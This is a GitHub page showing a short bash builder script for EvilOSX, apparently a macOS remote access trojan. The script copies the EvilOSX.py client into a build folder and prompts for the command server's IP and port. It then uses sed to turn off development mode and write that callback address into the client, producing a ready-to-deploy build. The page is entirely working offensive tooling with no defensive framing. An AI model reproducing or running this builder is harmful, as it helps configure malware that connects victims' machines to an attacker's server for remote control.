-
Notifications
You must be signed in to change notification settings - Fork 31
Expand file tree
/
Copy pathBUILDER
More file actions
executable file
·38 lines (28 loc) · 1007 Bytes
/
BUILDER
File metadata and controls
executable file
·38 lines (28 loc) · 1007 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/bash
MESSAGE_INPUT='\033[1m[?]\033[0m'
MESSAGE_INFO='\033[94m[I]\033[0m'
MESSAGE_ATTENTION='\033[91m[!]\033[0m'
if [ $# -eq 0 ]; then
echo -e "${MESSAGE_ATTENTION} Please specify EvilOSX.py (client)."
exit 1
fi
EvilOSX=$1
BuildPath=Builds/$(date '+%a-%b-%d@%H-%M-%S')
mkdir -p $BuildPath
cp $EvilOSX $BuildPath
echo -e -n "${MESSAGE_INPUT} Server IP (where EvilOSX will connect to): "
read -p '' host
if [[ -z "$host" ]]; then
echo -e "${MESSAGE_ATTENTION} Invalid server IP address."
exit 1
fi
echo -e -n "${MESSAGE_INPUT} Server port (default is 1337): "
read -p '' port
if [[ -z "$port" ]]; then
port=1337
fi
echo -e "${MESSAGE_INFO} Configuring EvilOSX.py..."
sed -i '' -e "s/development = True/development = False/g" $BuildPath/EvilOSX.py
sed -i '' -e "s/SERVER_HOST =.*/SERVER_HOST = \"${host}\"/g" $BuildPath/EvilOSX.py
sed -i '' -e "s/SERVER_PORT =.*/SERVER_PORT = ${port}/g" $BuildPath/EvilOSX.py
echo -e "${MESSAGE_INFO} Done! File located at: $BuildPath/EvilOSX.py"